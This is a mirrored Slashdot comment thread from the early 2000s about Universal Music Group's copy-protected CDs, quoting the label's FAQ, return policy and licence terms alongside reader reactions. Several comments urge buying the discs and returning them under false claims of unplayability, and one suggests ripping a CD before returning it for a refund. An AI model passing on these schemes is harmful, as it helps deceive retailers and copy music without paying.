Slashdot Mirror
Universal Music Prepares for Copy-Protection Complaints
tregoweth writes: "Universal Music Group is preparing for the onslaught of complaints about their copy-protected CDs. They've launched a customer support site,
which includes a FAQ ("Can I get a copy of this CD without the copy protection?"), tech support ("Why can't I copy the disc to my hard drive?", which they don't actually answer), a description of the reasons that you can get a refund (including some playback "issues" I hadn't heard about), and the fearsome legalese covering the audio player and compressed audio files included on the CD." Our previous story has more information.
. . . Return
Is Philips still planning on not letting Universal us the standard audio CD logos on their CDs because of the Red Book compliance issues? To me that's a very strong statement.
Or better still, write letters. Tell them that this copy-protection is a bad thing. It hinders fair-se, by not allowing copies to be made for archival purposes, or even the time-honored tradition of giving tracks to a friend (not Napster, et al., just ripping them into a CD and giving them to a friend, that's fair-use).
Snail mail letters, when intelligently written are much more powerful than e-mail, so get writing.
I'm not afraid of falling, it's the sudden stop at the end that frightens me.
Thought that this was interesting:
UMG has authorized all retailers to accept returns. If you have experienced any of the following problems, you may return the CD (even if the package is opened) accompanied by the receipt, to the retailer that the CD was originally purchased from for a full refund:
1. The CD is not playing in your CD or DVD player.
2. The CD is not playing in your computer.
3. The audio has audible problems.
4. The songs did not start and stop when the skip button was pushed.
5. The fast forward and rewind functions did not work.
6. You are not able to play all of the songs on the CD.
7. There are long delays between the songs or after you press a button for a particular function (fast forward, rewind, etc.).
UMG is making every effort to eliminate these problems as soon as possible.
After Universal buys Phillips from the money it mass extorted from the public, it owns the standard.
Thus, Slashdot gets Universal off the hook!
...or at least your immediate needs. Phillips seems a logical choice to back at this point as a hardware vendor that can profit from the lack of copy protection. They are a company like any other and $$$ are the only language. Phillips could provide actual muscle in the corporate arena that people jumping up and down protesting could never provide. Let companies that back your "ideals" do the legwork for you, BUT, always keeps one eye one the people your fighting and the other on the people fighting for you, because umltimately, they are out for themselves too and wouldn't hesitate to throw you to the wolves too if it made them a buck.
Why don't I buy the CD?
Seems to me, there are still a bunch of problems with this format. If I was an average user and I ran across it on their website, I wouldn't even think about buying it in the first place.
How long until this is cracked? It seems inevitable, doesn't it?
Curb CO2 emissions: Kill yourself today!
Don't bother complaining, they've already answered you and you DON'T MATTER to them.
At the risk of stating the obvious; the only way to make an impact on them is NOT BUY their product. Otherwise, get used to it.
Sad but true.
A common ploy. Go ahead and capitalize on how
lazy people are for the most part by making your
refund/replacement process the biggest pain in the
ass possible so people are discouraged from dealing with it. Flood the market with a substandard copyright protected product, then make refunds a pain in the butt. That's not what I call putting the customer first.
The most important thing any republican needs to know.
So they aren't answering the question ... perhaps they are testing the waters of the general public before they roll this out now and forever.
So what happens 5 years from now when you can't find a machine running XP to save your life, and the newest version of Microsoft's OS is incompatible with my cd's player. Universal says they won't be providing updates so I've just got a coaster? Thats dissapointing...
The artists (and more importantly, their agents) need to understand that the labels are hurting them financially (not that this is news to them, that's how the biz works anyway) in new and interesting ways.
It's entirely possible to do your own thing in music and make a solid living at it. Sure, you may not be the next Britney Spheres, but why would you want to? Look at Frank Zappa, Ani DiFranco, and Prince. They are (or were in FZs case) doing it for themselves. Zappa was doing it for himself since the early 70's!
this is getting old and so are you
blog
If my "PC" doesn't have Windows, it hasn't met the "minimum system requirements" to play a CD.
It must be time to "upgrade"!
Free unix account: freeshell.org
If these issues are what I can begin to expect when I purchase CDs, I guess I just won't purchase them.
Not that I have been buying a lot of them lately, you understand. After the Napster killing I started to purchase my CDs through a secondhand store. I got a pretty good discount and *none* of the money went to the labels OR the artists.
Buy as many CD's as you can afford at the time, open ALL of them, and take them back immediately. Retailers don't like to take back opened merchandise, and will quite often (from what I understand) charge back a small amount the the distributor, which will then pass the cost upwards. While some may consider this approach stupid/ineffective, think about this: enough people buy these "CDs" and return them, and retailers will think twice about buying them or moving them into the retail chain.
Doesn't the bit about the license for the player being non-transferable violate the doctrine of first sale?
I can sell my regular CD's to the guy next door, and they can't do a thing about it. Now, if I sell these silvery things to the guy next door, he can't listen to the stuff on his computer???
Or does doctrine of first sale trump such restrictions?
At least they use open source code! :)
From: http://www.musichelponline.com/legal/
The Content has been encoded using software that incorporates the LAME encoder; more information about the encoder is available at http:// www.mp3dev.org.
http://www.mp3dev.org/mp3/
now LAME is the source code for a fully GPL'd MP3 encoder, with speed and quality to rival all commercial competitors.
Brian Ellenberger
About time to institute a "one return a week" campaign. Definitely an advance form of boycott. We can't let UMG get away with this.
I do not want to spend $17-$20 for a CD with 2c or 3 good tracks and 14 filler tracks. This is the case with most of the CD's I buy today.
I'm not afraid of falling, it's the sudden stop at the end that frightens me.
If they're are working to make it possible to rip the songs to MP3 to be copied onto an MP3 player, what's the point of the copy-protection in the first place? First, they add copy-protection, then they plan to add even more features to work around the copy-protection.
Of course, their answer didn't really say this is what they are working toward, but it sure seems to be trying to imply it.
Edward Burr
Having a smoking section in a restaurant is like having a peeing section in a swimming pool.
Boycott these CDs.
Seriously. Don't buy them. Tell your friends not to buy them, and tell them to tell their friends, and so on. They will have to stop making them if they are not getting their returns - and the power is in your hands to do it, consumer...
"So there he is, risen from the dead. Like that fella, E. T." - Father Ted Crilly
The legaleze says that if you don't agree, you can return it for a full refund. So I suggest everyone go and buy these CDs, and then return them the next day, stating that 'i dont agree with the license'. Presumably the license is not printed on the outside of the cover?
Ironically, the return policy does not seem to cover 'disagreements with the license'.
Sparks:Gadget:Beer Maker
Here is the text of the articles:
The FAQ:
Why have you copy-protected the CD?
UMG is incorporating copy protection into their CDs to assess its viability in protecting the rights of our artists and copyright holders by preventing CD copying and illegal Internet distribution.
Are you going to copy-protect all CDs from now on?
UMG is committed to protecting the rights of its artists and copyright holders. UMG will be testing various technologies on specifically identified releases throughout 2002.
Can I get a copy of this CD without the copy protection?
No, all copies of this CD are copy-protected.
Can I play this disc in my PC?
The CD will play in PCs that meet the following minimum system requirements: PC with at least Pentium® 133mHz or compatible processor, 32 MB RAM, CD-ROM drive, soundcard and speakers, Microsoft ®Windows95®, Windows98®, Windows2000®, Windows ME®, Windows XP® or Windows NT 4 ® with Service Pack 4.
The CD should automatically start playing in most PCs. If it does not start playing in yours, open the CD-ROM drive's window and click on the music player application. Once in the player you can "Play" or open the "Playlist", choose a track and click on it.
For information about returns, please see our return policy.
Where can I send suggestions/comments?
You may email comments to: umg@umusic.com
or mail them to:
Universal Music Group
Attn: Copy Protection Customer Care
2220 Colorado Avenue, 2nd Floor
Santa Monica, CA 90404
The Tech Support Site:
The CD is not playing in an audio CD player (DVD player, car stereo, portable CD player, game console).
This CD may not be playable in a limited number of CD players. UMG is currently working with our technology providers to achieve 100% playability.
If you experience this problem, you can help us by emailing the model of the player and a description of the problem to umg@umusic.com
For information about returns, please see our return policy.
The audio has one or more of the following problems:
Clicks, pops, noises, skipping, etc.
Songs did not start and stop when the skip button was pushed.
The fast forward and rewind functions did not work.
You were unable to play all of the songs.
There were long delays between songs or after a button was pressed for a particular function.
UMG is currently making every effort possible to eliminate any audio interference or technical difficulties created by the implementation of copy protection technologies.
If you experience this problem, you can help us by emailing the model of the player and a description of the problem to umg@umusic.com.
Assuming the problem is not repeated with non-protected CDs, you may return the disc. Please see our return policy for more information.
Can I listen to the songs from this CD on my MP3 player?
As with all computer software there may be incompatibilities with some computer systems. The CD is designed to play on PCs. The current version of the copy-protection technology does not allow you to copy files from the CD into MP3 format. UMG is currently making every effort possible to upgrade our available technology to add new features and increase playability.
Why can't I play this disc on my Macintosh-based computer?
This CD will play in PCs running Microsoft® Windows95®, Windows98®, Windows2000®, Windows ME®, Windows XP® or Windows NT 4 ® with Service Pack 4. We hope to include Macintosh-based playability on copy-protected discs in the future.
For information about returns, please see our return policy.
Why can't I copy the disc to my hard drive?
We recognize that many consumers enjoy storing music on their PCs and we are currently working on new systems to allow for this capability. To listen to the CD on your PC, use the media player included in the CD.
The Return Policy:
UMG has authorized all retailers to accept returns. If you have experienced any of the following problems, you may return the CD (even if the package is opened) accompanied by the receipt, to the retailer that the CD was originally purchased from for a full refund:
The CD is not playing in your CD or DVD player.
The CD is not playing in your computer.
The audio has audible problems.
The songs did not start and stop when the skip button was pushed.
The fast forward and rewind functions did not work.
You are not able to play all of the songs on the CD.
There are long delays between the songs or after you press a button for a particular function (fast forward, rewind, etc.).
UMG is making every effort to eliminate these problems as soon as possible.
The Fearsome Legalese:
TERMS AND CONDITIONS
PLEASE BE AWARE THAT THE FOLLOWING TERMS AND CONDITIONS APPLY TO THE MUSIC PLAYER APPLICATION AND AUDIO CONTENT YOU ARE USING. IF YOU DO NOT OR CANNOT AGREE TO THESE TERMS AND CONDITIONS, YOU ARE NOT AUTHORIZED TO USE THE PLAYER OR CONTENT. IF YOU DO NOT OR CANNOT AGREE TO THESE TERMS AND CONDITIONS, YOU MAY RETURN THE COMPACT DISC ON WHICH YOU RECEIVED THE PLAYER AND CONTENT FOR A REFUND.
INSTRUCTIONS FOR RECEIVING A REFUND UNDER OUR RETURNS POLICY ARE ENCLOSED IN THE JEWEL CASE ACCOMPANYING THE COMPACT DISC AND ARE AVAILABLE ONLINE AT: Return Policy.
DESCRIPTION OF PLAYER AND CONTENT
The compact disc you are using contains copy protection technology. When you use the compact disc in a conventional CD player, it operates like any other CD. When you use the compact disc in a CD ROM drive, the technology launches an audio player (the "Player"), and plays compressed audio files (the "Content").
USE OF THE PLAYER AND CONTENT
No Additional Charge. There is no additional charge to you for the Player or Content.
Privacy. No personal information about you is collected by or through the Player or Content.
Responsibilities. You are responsible for all use of the Player and the Content on the CD you have purchased. You may only use the Player and Content pursuant to these terms and conditions.
Player and Content. The Player and Content comprise intellectual property owned by us and our licensors, and they are protected under international law, including patent, copyright and trade secret laws. Your use of the Player and Content is governed by the terms and conditions set forth herein. All title and ownership rights in the Player and Content remains with us and our licensors, as applicable.
License. We hereby grant to you a limited, non-exclusive, non-transferable, revocable license to use the Player and Content on your personal computer solely for your own personal, non-commercial use. You understand and agree that you may not reproduce, modify, display, distribute or otherwise use the Player or Content except as expressly provided herein, and you may not attempt to separate the Player or Content from the CD on which you received them. You may not authorize, encourage or allow the Player or any Content to be reproduced, modified, displayed, distributed or otherwise used by any other party, and you agree that you will take all reasonable steps to prevent any unauthorized reproduction and/or use of them. Nothing herein is intended to prevent you from transferring the CD you purchased to another person who will be bound by these terms and conditions. Except as expressly provided herein, no other licenses or rights (including rights to maintenance or updates) are granted, expressly, or by implication or estoppel.
No Reverse Engineering. You may not attempt (or authorize, encourage or support others' attempts) to circumvent, reverse engineer, decrypt, break or otherwise alter or interfere with the Player, the operation of it, or Content.
MAINTENANCE AND UPDATES
We do not provide maintenance or updates for the Player or Content.
INTELLECTUAL PROPERTY RIGHTS
All trademarks, service marks, trade names, slogans, logos, and other indicia of origin that appear on or in connection with the Player and/or Content are our property or that of our affiliates or licensors. You may not copy, display or use any of these marks without prior written permission of the mark owner. The Player and Content (and portions of them) are protected under patent law and are the subject of issued patents and pending patent applications. The Player and Content (and portions of them) are also protected under copyright law and trade secret law. The Player and Content may also contain third party technology. The following describes such third party technology and your rights and licenses therein. The Player uses the Blowfish block cipher, ã 1995 A.M. Kuchling; you may use it solely in connection with your use of the Player and Content as permitted herein, unless you receive further authorization directly from the author of it. The Player includes technology of EverAd Inc., Midbar Tech Ltd., and QDesign Corp.; you may use it solely in connection with your use of the Player and Content as permitted herein, unless you receive further authorization directly from the owners of it. The Content has been encoded using software that incorporates the LAME encoder; more information about the encoder is available at http:// www.mp3dev.org.
U.S. GOVERNMENT RIGHTS
The Player is "commercial computer software" or "commercial computer software documentation." The United States government's rights with respect to the Player are limited by the terms of this agreement pursuant to FAR 12.212(a) and/or DFARS 227.7202-1(a), as applicable.
INTERNATIONAL CONSIDERATIONS
The Content files are encrypted and the Player contains decryption technology. You agree to abide by U.S. and other applicable export control laws and not to transfer any material subject to restrictions under such laws to a national destination or person prohibited under such laws.
REMEDIES
You understand and agree that any unauthorized use of the Player or Content would result in irreparable injury to us and/or our affiliates or licensors for which money damages would be inadequate, and in such event we and/or licensors, as applicable, shall have the right, in addition to other remedies available at law and in equity, to immediate injunctive relief against you. Nothing contained in this paragraph or elsewhere in this document shall be construed to limit remedies or relief available pursuant to statutory or other claims that we, our affiliates and/or licensors may have under separate legal authority, including but not limited to, any claim for intellectual property infringement.
INDEMNITY
You agree to indemnify and hold harmless us and our agents, employees, representatives, licensors, affiliates, parents and subsidiaries from and against any and all claims, losses, demands, causes of action and judgments (including attorneys' fees and court costs) (collectively "Claims") arising from or concerning your use of the Player or Content and to reimburse them on demand for any losses, costs or expenses they incur as a result of any Claims.
TERM AND TERMINATION
The term of this agreement shall be for so long as we and/or our licensors own any intellectual property rights in the Player or Content. You may terminate this agreement at any time by returning to us the CD you purchased.
DISCLAIMERS
You understand and agree that your use of the Player and Content is at your own sole risk. THE PLAYER AND CONTENT ARE PROVIDED "AS IS" AND WITHOUT WARRANTY BY US OR OUR AGENTS, EMPLOYEES, PARENTS, SUBSIDIARIES, AFFILIATES, LICENSORS, BUSINESS PARTNERS AND/OR SUPPLIERS, AS APPLICABLE, AND, TO THE MAXIMUM EXTENT ALLOWED BY APPLICABLE LAW, WE AND OUR AGENTS, EMPLOYEES, PARENTS, SUBSIDIARIES, AFFILIATES, LICENSORS, BUSINESS PARTNERS AND/OR SUPPLIERS, AS APPLICABLE, EXPRESSLY DISCLAIM ALL WARRANTIES, EXPRESS OR IMPLIED INCLUDING, BUT NOT LIMITED TO, IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE AND ANY WARRANTY OF NONINFRINGEMENT. THERE IS NO WARRANTY THAT THE PLAYER OR CONTENT WILL MEET YOUR REQUIREMENTS, OR THAT YOUR ACCESS TO THE SAME WILL BE UNINTERRUPTED OR ERROR-FREE. WE, OUR AGENTS, EMPLOYEES, PARENTS, SUBSIDIARIES, AFFILIATES, LICENSORS, BUSINESS PARTNERS AND/OR SUPPLIERS, AS APPLICABLE, DO NOT WARRANT, GUARANTEE, OR MAKE ANY REPRESENTATIONS REGARDING THE USE OR THE RESULTS OF THE USE OF THE PLAYER OR CONTENT WITH RESPECT TO PERFORMANCE, ACCURACY, RELIABILITY, SECURITY CAPABILITY, CURRENTNESS OR OTHERWISE. YOU WILL NOT HOLD US OR OUR AGENTS, EMPLOYEES, PARENTS, SUBSIDIARIES, AFFILIATES, LICENSORS, BUSINESS PARTNERS AND/OR SUPPLIERS, AS APPLICABLE, RESPONSIBLE FOR ANY DAMAGES THAT RESULT FROM YOU USING THE PLAYER OR CONTENT, INCLUDING BUT NOT LIMITED TO ANY INFECTIONS OR CONTAMINATIONS OF YOUR COMPUTER OR DAMAGE TO ANY SOFTWARE OR SYSTEMS YOU USE TO ACCESS THE SAME THAT MAY RESULT FROM THAT USE. NO ORAL OR WRITTEN INFORMATION OR ADVICE GIVEN BY ANY PERSON SHALL CREATE A WARRANTY IN ANY WAY WHATSOEVER RELATING TO US, OUR AGENTS, EMPLOYEES, PARENTS, SUBSIDIARIES, AFFILIATES, LICENSORS, BUSINESS PARTNERS AND/OR SUPPLIERS, AS APPLICABLE.
UNDER NO CIRCUMSTANCES SHALL WE OR OUR AGENTS, EMPLOYEES, PARENTS, SUBSIDIARIES, AFFILIATES, LICENSORS, BUSINESS PARTNERS AND/OR SUPPLIERS, AS APPLICABLE, BE LIABLE FOR ANY UNAUTHORIZED USE OF THE PLAYER OR CONTENT.
UNDER NO CIRCUMSTANCES SHALL WE OR OUR AGENTS, EMPLOYEES, PARENTS, SUBSIDIARIES, AFFILIATES, LICENSORS, BUSINESS PARTNERS AND/OR SUPPLIERS, AS APPLICABLE, BE LIABLE TO YOU FOR ANY CONSEQUENTIAL, INCIDENTAL OR SPECIAL DAMAGES (INCLUDING DAMAGES FOR LOSS OF BUSINESS PROFITS, BUSINESS INTERRUPTION, LOSS OF BUSINESS INFORMATION, AND THE LIKE) ARISING OUT OF THE USE OR INABILITY TO USE THE PLAYER OR CONTENT, EVEN IF WE AND/OR OUR AGENTS, EMPLOYEES, PARENTS, SUBSIDIARIES, AFFILIATES, LICENSORS, BUSINESS PARTNERS AND/OR SUPPLIERS, AS APPLICABLE, HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. BECAUSE SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES, THE ABOVE LIMITATION MAY NOT APPLY TO YOU. TO THE EXTENT THAT IN A PARTICULAR CIRCUMSTANCE ANY DISCLAIMER OR LIMITATION ON DAMAGES OR LIABILITY SET FORTH HEREIN IS PROHIBITED BY APPLICABLE LAW, THEN, INSTEAD OF THE PROVISIONS HEREOF IN SUCH PARTICULAR CIRCUMSTANCE, WE AND/OR OUR AGENTS, EMPLOYEES, PARENTS, SUBSIDIARIES, AFFILIATES, LICENSORS, BUSINESS PARTNERS AND/OR SUPPLIERS, AS APPLICABLE, SHALL BE ENTITLED TO THE MAXIMUM DISCLAIMERS AND/OR LIMITATIONS ON DAMAGES AND LIABILITY AVAILABLE AT LAW OR IN EQUITY BY SUCH APPLICABLE LAW IN SUCH PARTICULAR CIRCUMSTANCE, AND IN NO EVENT SHALL SUCH DAMAGES OR LIABILITY EXCEED US$10.
LAW AND LEGAL NOTICES
This agreement and any other terms or documents referred to herein represent your entire agreement with us with respect to your use of the Player and Content. You understand and agree that, except as expressly set forth herein, this agreement is not intended to confer and does not confer any rights or remedies upon any person other than the parties to this agreement. If any part of this agreement is held invalid or unenforceable, that portion shall be construed in a manner consistent with applicable law to reflect, as nearly as possible, the original intentions of the parties, and the remaining portions shall remain in full force and effect. Any actions arising out of or in any manner affecting the interpretation of this agreement as they pertain to the Player or Content, whether under this agreement or otherwise shall be governed solely by, and construed solely in accordance with, the laws of the United States and the State of California, excluding (i) conflict of laws principles; (ii) the United Nations Convention on Contracts for the International Sale of Goods; (iii) the 1974 Convention on the Limitation Period in the International Sale of Goods; and (iv) the Protocol amending the 1974 Convention, done at Vienna April 11, 1980. To the extent permitted by law, the provisions of this agreement shall supersede any provisions of the Uniform Commercial Code and the Uniform Computer Information Transactions Act as adopted or made applicable to the Player in any competent jurisdiction. You expressly agree that the courts in the State of California, Los Angeles County, have exclusive jurisdiction over any claim or dispute with us or relating in any way to the Player or Content. You further agree and expressly consent to personal jurisdiction over you in the federal and state courts of Los Angeles County in connection with any such dispute including any claim involving us or our partners, parents, licensors, affiliates, subsidiaries, employees, contractors, officers, directors or suppliers.
it's makes not buying CDs a lot easier.
What if you want to a legitimate copy on your hard drive? Sounds like that won't work, either.
Looks like it might be time to dig out ye olde Indigo in the basement and use the SPDIF inputs to rip CD's so that I can get a clean copy for encoding. What a hassle. Too bad Joe Sixpack doesn't have digital ins on his machine.
A well-crafted lie appears unquestionable - Dama Mahaleo
... as an operating system they are even trying to support. They (atleast say) they are planning on supporting Macintosh in the future, but don't even mention that they are going to support Linux. So they are saying, they want me to buy my music from them, but since I'm running an OS that I don't have to pay a rediculous amount of money for, I can no longer buy CD's? No wonder I want to use MP3's.
I have no signature
It's rally easy to work around if you have a half-assed tape deck and some high BIAS tapes (Sony type II & III work great).
The funny thing is that I was never motivated so much to pirate before!
crazy dynamite monkey
To listen to the CD on your PC, use the media player included in the CD.
None of the CDs I currently own have media player software included on the CD. Are the copy- protected CDs shipping with software on them? If so, can I really trust their software? What if I want to use my own media player, such as winamp?
Edward Burr
Having a smoking section in a restaurant is like having a peeing section in a swimming pool.
This is a sign that copy protected CD is giving problems to the regular customer who buys CDs, not the pirates, has anyone heard complains about
"Why cant I find this song on Audiogalaxy?"
Music will be always copied and will be always available on the internet for download, whether they want to or not, they have to find another way of doing business using the mp3 technology, instead of avoiding it.
It seems that all the disclaimer writers I've seen learned to type on AOL... They start out in normal upper and lower case letters.. Then, for some reason, they switch to all caps, like they never realized it.. They go on for several paragraphs like this.. Then they suddenly realize that they were in caps mode, and turn it off... I swear that they learned to type on AOL....
--Garion911
Slashdot is like Playboy: I read it for the articles
I keep seeing advice with these stories and on boards that say to buy the disk and then when it won't play on your computer or be able to rip it, to take it back to the store as defective.
However, most store policy regaring CDs (and software) is to exchange ONLY once the disk is opened. So you'll just get another disk you can't rip. Also, expect policies soon to start making exceptions to even this and saying that the inability to rip a disk will not be considered as a defect.
If you've never been modded as "flamebait" or "troll," you've never tried to argue a minority viewpoint here!
You understand and agree that any unauthorized use of the Player or Content would result in irreparable injury to us and/or our affiliates or licensors for which money damages would be inadequate, and in such event we and/or licensors, as applicable, shall have the right, in addition to other remedies available at law and in equity, to immediate injunctive relief against you. Nothing contained in this paragraph or elsewhere in this document shall be construed to limit remedies or relief available pursuant to statutory or other claims that we, our affiliates and/or licensors may have under separate legal authority, including but not limited to, any claim for intellectual property infringement
Irreparable?? That's quite a strong term to use in this case. Especially if they don't know you did it it doesn't hurt them at all. That pretty much rules out irreparable in my book. Also I'm not sure how they can be damaged so that monetery reparations would be inadequate. They are a corporation, they are only there to make money, I don't think they can take you to court on the basis of emotional damage for non-compliance. Just what do they expect to do to you for copying this cd?
You agree to indemnify and hold harmless us and our agents, employees, representatives, licensors, affiliates, parents and subsidiaries from and against any and all claims, losses, demands, causes of action and judgments (including attorneys' fees and court costs) (collectively "Claims") arising from or concerning your use of the Player or Content and to reimburse them on demand for any losses, costs or expenses they incur as a result of any Claims.
Ok so not only can I not sue you for any reason whatsoever, but you can charge me money if I try anyway. Basically this whole thing says if you buy this cd you are fucked, we can do whatever we want to you and you can't do a thing, but if you have the audacity to listen to this product in a way we don't approve of, we can sue you file injunctions take away your dog, or whatever we feel like.
Since when did consumers lose all of their rights as a result of buying a product?
I'm the big fish in the big pond bitch.
Now, if we want to buy a Universal music CD, we have to agree to a license agreement comparable to the average MS EULA.
Many of us probably feared that the customer backlash will be softened by some heavily encrypted files and a proprietary player on each CD. For all too many people, that functionality will be good enough.
Here's to hoping that the general public will still be pissed about:
1.) Not being able to use their favorite music software
2.) Not being able to transfer to mp3 players
Of course, in a few years, we may be in the horrible situation of having the RIAA agree on a new encryption standard, and all major music players and devices will read it. However, those music devices could be forced to tie in with just one computer, or something stupid like that.
I don't share my music, but I listen to all high-bitrate mp3s and use my mp3 player often. I have already decided against purchasing a CD I would almost certainly own by now if it weren't for Universal's copy protection. Let's hope Universal's sales suffer dearly for this.
"The universe seems neither benign nor hostile, merely indifferent." --Carl Sagan
Man, I hate Legalese and it's dialects. There are plenty of questions on these pages, but technically only one answer (I think, answers to yes/no-questions should containe one of "yes", "no" and "that depends on ..." (or similar phrases). The only question they really give an answer to (in the gramatical sense) is "Can I get a copy of this CD without the copy protection?". I think at least "* Can I listen to the songs from this CD on my MP3 player?" would be easy to answer: "We don't want you to be able to produce MP3-files of this discs, because you can copy it!". (Wrap it in leagalese and it almost looks nice!).
PC with at least Pentium® 133mHz or compatible processor, 32 MB RAM, CD-ROM drive, soundcard and speakers, Microsoft ®Windows95®, Windows98®, Windows2000®, Windows ME®, Windows XP® or Windows NT 4 ® with Service Pack 4
the word was carefully chosen to be PC, not computer , which would enrage Mac users at large.
This is a bad sign that real soon now CDs may come with "Designed for Windows" or "Requires Windows" banners on the covers.
Needless to say, 3 days after the first CD is out with the scheme, an open source decoder/ripper for it will be out on freshmeat. And it probably wil compile on Mac OS X out of the box. :)
Wouldn't it be misleading to present an audio disc in the standard jewel case, even if the CDDA sticker was not present? If trademarks and domain names can be found confusingly similar, then can the shape of a product also be found confusingly similar? UMG should be required to sell these cds in different jewel cases that make them EASILY distinguishable from the standard jewel case. The lack of sticker won't catch the attention of 99% of the buyers. There should be some other reason that the buyers will not associate this product with a real CDDA compliant cd.
Here is their comment:
UMG has authorized all retailers to accept returns. If you have experienced any of the following problems, you may return the CD (even if the package is opened) accompanied by the receipt, to the retailer that the CD was originally purchased from for a full refund:
The CD is not playing in your CD or DVD player.
The CD is not playing in your computer.
The audio has audible problems.
The songs did not start and stop when the skip button was pushed.
The fast forward and rewind functions did not work.
You are not able to play all of the songs on the CD.
There are long delays between the songs or after you press a button for a particular function (fast forward, rewind, etc.).
At least they seem like they will be glad to take them back. I for one have plenty of free time to buy one of these and then return it every day for a while. If 5k people buy CDs and return them repeatedly Universal will have to wonder about this plan.
I am 31337 or something.
if they really mean this they are in serious trouble, I can tell you.
Sigged!
My biggest concern isn't, actually, that J Public doesn't have the ability to rip MP3s from the lastest Britney Spears. While I'm bothered also by the muddiness of where this fits into fair use, that's not my primary concern either. Most important to me is sound quality. More than anything else, music is supposed to be about the music (more than the distribution, etc.), and the quality control issues here concern me.
Speaking in gross hypotheticals, if I've taken great care in putting together a set of components and cables which are very high fidelity and explicitly meant to maximize the potential of the recording, and the source sucks all my effort is for naught. What's worse, many high fidelity components eschew eupohonic effects (smoothing or shaping---compensating for a poor source signal), and sources which aren't recorded or mastered well sound horrible.
The one thing worse than not being able to play a new disc is playing a new disc and having it sound atrocious.
Media schemes that compromise sound quality for anything (especially marketing interests) are ill-intentioned and grossly missing the point.
Everyone go out and buy 5 or 6 copies of every protected CD, then return them all saying they were unplayable. The burden of proof can't be on the consumer, so when they see that it's hurting business, they'll be forced to stop the practice.
I live in France and there's a tax on CDR for the artists (the state supposes that when you buy a CDR it's to copy a CD Audio !!!!! Unbelievable :-(
So now I will still continue to pay the tax and I won't be able to copy my CD-Audio... Am I fucked?
We are well trained consumers, unfortunately. There is a strong Gotta Have It mentality that says "If we can't buy it, rip it!" Just think of the amount you could pay down your credit card debt (17.9%!) if you didn't buy or burn the latest and greatest CD. Not to mention the positive environmental effect you'll have.
Hell... I may be a programmer and not a suit, but when my sales are faltering, consumer opinion of me is well down, new technologies stand poised to eliminate me altogether and the economy is on the skids, I probably wouldn't introduce technology that makes my product harder to use and less accessible.
Are these guys trying to go out of business?
"UMG is currently making every effort possible to eliminate any audio interference or technical difficulties created by the implementation of copy protection technologies....If you experience this problem, you can help us by emailing the model of the player and a description of the problem to..."
Sounds like they are realeasing a product that they know is buggy, and are letting the consumers Beta-Test for them. Sound like anyone else we know?
Am I Over-Moderating??
Consumers recognize the packaging, and that's it.
"UMG has authorized all retailers to accept returns. If you have experienced any of the following problems, you may return the CD (even if the package is opened) accompanied by the receipt, to the retailer that the CD was originally purchased from for a full refund: *anything*"
:)
In other words I can buy a CD, rip it ('cos we all know it can and is being done all the time, protection or not) and return it fullprice
Anataka suki desu. Itsumo. Itsumademo.
UMG is making every effort to eliminate these problems as soon as possible.
That's a blatant LIE.
It's VERY easy to eliminate these problems: comply with the Red Book.
"every effort" is pure BS.
On that page, they include an e-mail address for comments. Why not do just that: umg@umusic.com. Tell then (without being abusive) just why you won't be buying their CDs anymore. For myself, as I'm sure is true with a lot of folks here, I have all my music in mp3 format on my computer and play it through my home stereo. Sure, I could get around their copy protection, but that's too much work.
-D
That's a good idea, but there's a better one!
Buy the CDs, open them, and then RETURN THEM! THEN write your letters stating that you can't buy their music because you can't listen to it on your non-Windows computer. What matters to VivendiUniversal is money. Every time this happens, it costs them money. It also costs the retailer time. Time is money. If this happens enough, they will be more inclined to have harsh words with the distributor. Go to every Best Buy you know, buy a copy-protected CD (Fast & Furious Soundtrack is a great start), open them up, print out the return policy linked in the original article, and then go return them! You can make a difference. Help stop this before it becomes commonplace: buy a CD, open it and return it.
Every once in a while I like to masturbate a new word into my vocabulary, even if I don't know what it means.
"We hereby grant to you a limited, non-exclusive, non-transferable, revocable license to use the Player and Content on your personal computer solely for your own personal, non-commercial use."
"You understand and agree that you may not reproduce, modify, display, distribute or otherwise use the Player or Content except as expressly provided herein, and you may not attempt to separate the Player or Content from the CD on which you received them."
So it is illegal to make a backup copy of the computer-playable audio files. It is also illegal to try and play them with any other app (or on any OS other than Windows). Plus, since it revocable, you can retroactively take away the right to play them AT ALL on a computer.
At least they specifically mention that the non-transferable clause does not prevent you from re-selling the CD.
How long until this is cracked? It seems inevitable, doesn't it?
.exe player program that's on the CD.
.exe, and find out exactly what it does, then we could make similair program that does the same thing for linux. I would call that "cracked".
Well, the CD must have a "low quality copy" of the music, where the ECC is all messed up. That's what you'll get when you play it in a low-tech cd player, that doesn't understand ECC.
When you put it in a CD-ROM drive, it will probably pop and hiss, because the computer is "smart enough" to use the ECC to "fix" the errors in the CD.
Someplace on the cd, there must be the missing information to turn the crackly output into something good. I'll bet it's encrypted somehow into the
If we can open that
Of course, the main benefit is that those of us who don't have Windows, could finally listen to our CD's in peace. Of course, it could be called a "copy protection circumvention device", so there's now a risk of being thrown in jail for making such harmless crack.
Gone are the days of fair use.
Free unix account: freeshell.org
I have mailed the following message to the distributor:
I run only linux on my computers. As you do not seem to be able to provide music cds which can run on this advanced software I will be looking to another distributer and artists for my music from now.
Denis Miller
Bradford, Ontario
This seemed like a good idea to me, too, until I started to think about the idea that in the end, they just up the price of CD's, and we end up paying for it.
CD's are extremely costly, in my opinion. And why are they still more expensive than cassettes, when cassettes are apparently more difficult to manufacture?
I'm thinking that contacting my state's attorney general and complaining MAY get a response, if enough people do it. Hey, the states went after Microsoft, after all! When you see commercials (Philips, I believe) where the guy is mixing his own CD's, at that point it should be considered a general expectation of purchasing a CD. If you purchase a CD, you have a reasonable expectation that you'll be able to mix the songs with other songs of your choosing, and put them onto a newly mixed CD. They are taking that away. Something about harming the consumer comes to my mind, and believe it or not, state attorney generals like to get involved in that sort of a thing.
-Slashdolt
We all read the article here a few days ago, right? Philips is starting to vigorously defend their trademarks and such on CDDA, logos, and so forth. I believe that CD (Compact Disc) is also a Philips-owned name, and these THINGS don't comply at all! The fact that their FAQ section calls them CDs repeatedly should be enough to get their asses into court.
I hope.
"People who do stupid things with hazardous materials often die." -- Jim Davidson on alt.folklore.urban
Corporations don't. That's why DivX was launched. We all knew it was a very bad idea, we just didn't know if Joe Consumer would think so too. Thank goodness he did.
:)
